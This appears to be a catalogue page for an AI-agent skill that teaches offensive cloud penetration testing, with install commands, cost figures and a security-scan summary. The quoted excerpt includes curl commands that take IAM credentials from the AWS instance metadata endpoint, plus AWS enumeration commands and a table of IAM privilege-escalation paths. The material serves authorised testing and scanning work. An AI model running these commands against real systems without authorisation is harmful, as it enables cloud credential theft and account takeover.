Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/snailsploit/claude-red/offensive-cloudnpx skills add SnailSploit/Claude-Red --skill offensive-cloudgit clone --depth 1 https://github.com/SnailSploit/Claude-RedWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00238 | $0.03151 |
| Opus 5 | $0.00119 | $0.01576 |
| Sonnet 5 | $0.00048 | $0.00630 |
| Haiku 4.5 | $0.00024 | $0.00315 |
Grade B, and why
offensive-cloud scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> How it starts
The opening of the file, as written. The whole thing — 347 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
Quick Workflow
- Identify the cloud and the identity context you have (user, role, service account, instance role)
- Enumerate without writes —
aws sts get-caller-identity,az account show,gcloud auth list - Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
- Find the data and the persistence anchors before alarms fire
- Document the kill chain with timestamps, identities, and resources for the report
AWS
Identity Discovery
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
IMDS Credential Theft
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|---|---|
iam:PassRole + lambda:CreateFunction |
Pass any role to Lambda you create | Run code as that role |
iam:PassRole + ec2:RunInstances |
Pass any role to EC2 instance | IMDS → role creds |
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion |
Edit your own policy | Self-elevate |
iam:UpdateAssumeRolePolicy |
On a privileged role | Add yourself as principal |
iam:CreateLoginProfile (on user without one) |
Set console password | Console access |
iam:CreateAccessKey (on another user) |
Mint keys for someone else | Persistent access |
sts:AssumeRole with sts:TagSession to ABAC role |
If role trusts session tags | Tag-based escalation |
cloudformation:CreateStack + permissive role |
Run any service action | Indirect arbitrary perms |
glue:UpdateDevEndpoint |
Inject SSH key into Glue endpoint | Code exec as Glue role |
ssm:SendCommand to any instance |
RCE on instances + their roles | Lateral + escalation |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 347 lines · 238 tokens per session scan B 5dd13c1cac58
offensive-cloud is a skill published in the GitHub repository SnailSploit/Claude-Red (3,009 stars, last pushed 3d ago), licensed MIT. It adds 238 tokens to every session and 3,151 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
vastai-api
Vast.ai API Documentation - Affordable GPU Cloud Marketplace.
vercel
Vercel Platform and API Documentation.
linode-cli
Linode CLI Documentation.
linode-api
Linode API Documentation.
shipping-and-launch
Prepares production launches. Use when preparing to deploy to production. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.
agent-platform-deploy
Deploy open models or custom weights from Model Garden to Agent Platform endpoints, check the status of an in-progress deployment operation, or clean up resources by undeploying models and deleting endpoints. Use when asked to actively deploy a model, list the Model Garden CATALOG of available models, check if a…